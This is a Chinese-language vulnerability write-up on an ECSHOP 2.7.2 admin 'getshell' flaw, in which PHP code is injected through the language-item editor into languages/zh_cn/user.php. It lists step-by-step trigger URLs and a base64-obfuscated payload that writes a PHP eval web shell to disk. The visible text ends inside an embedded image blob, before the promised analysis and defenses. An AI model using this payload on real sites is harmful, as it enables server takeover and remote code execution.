ECSHOP \admin\edit_languages.php GETSHELL Based On Injection PHP Code Into /languages/zh_cn/user.php

2023-03-12,,

目录

. 漏洞描述
. 漏洞触发条件
. 漏洞影响范围
. 漏洞代码分析
. 防御方法
. 攻防思考

1. 漏洞描述

对于很多CMS网站来说,它们都需要保存很多的网站META信息,最常用的最佳实践是以变量声明的形式保存在.php文件中,在需要的时候直接include进来,PHP File Loader会自动将引入文件中的变量注册到当前的代码空间中,供其他的代码直接引用。例如

. phpmyadmin使用config/config.inc.php保存phpmyadmin的配置信息:phpmyadmin setup.php代码注入漏洞
. ecshop使用/languages/zh_cn/user.php保存网站的语言配置项:ecshop user.php php curl 代码动态执行漏洞

这种将动态的变量保存在静态的文件中,然后利用PHP File Loader的动态引用机制实现本地变量注册的做法在为CMS框架开发带来方便的同时,也引入了安全风险,黑客可以通过"模版编辑"、"后台网站基础描述信息编辑"、"语言项编辑"等等编辑方式,对这类文件进行修改,从而将PHP代码注入到这些.php文件中,获得代码执行的机会

2. 漏洞触发条件

. 访问网站后台
http://localhost/ecshop2.7.2/admin/ . 左边导航栏
模板管理 -> 语言项管理 -> 选择: user.php(会员中心语言包) -> 搜索: is_paid . 对模板文件进行编辑
插入${${fputs(fopen(base64_decode(ZnVjay5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbZnVja10pPz4))}} . 访问被注入PHP代码的文件
) 直接访问保存有PHP恶意代码(脏数据)的文件
http://localhost/ecshop2.7.2/languages/zh_cn/user.php
) 访问user.php文件,user.php会根据当前语言配置引入(include)对应的语言项文件
http://localhost/ecshop2.7.2/user.php . 生成WEBSHELL
http://localhost/ecshop2.7.2/languages/zh_cn/fuck.php

aaarticlea/png;base64,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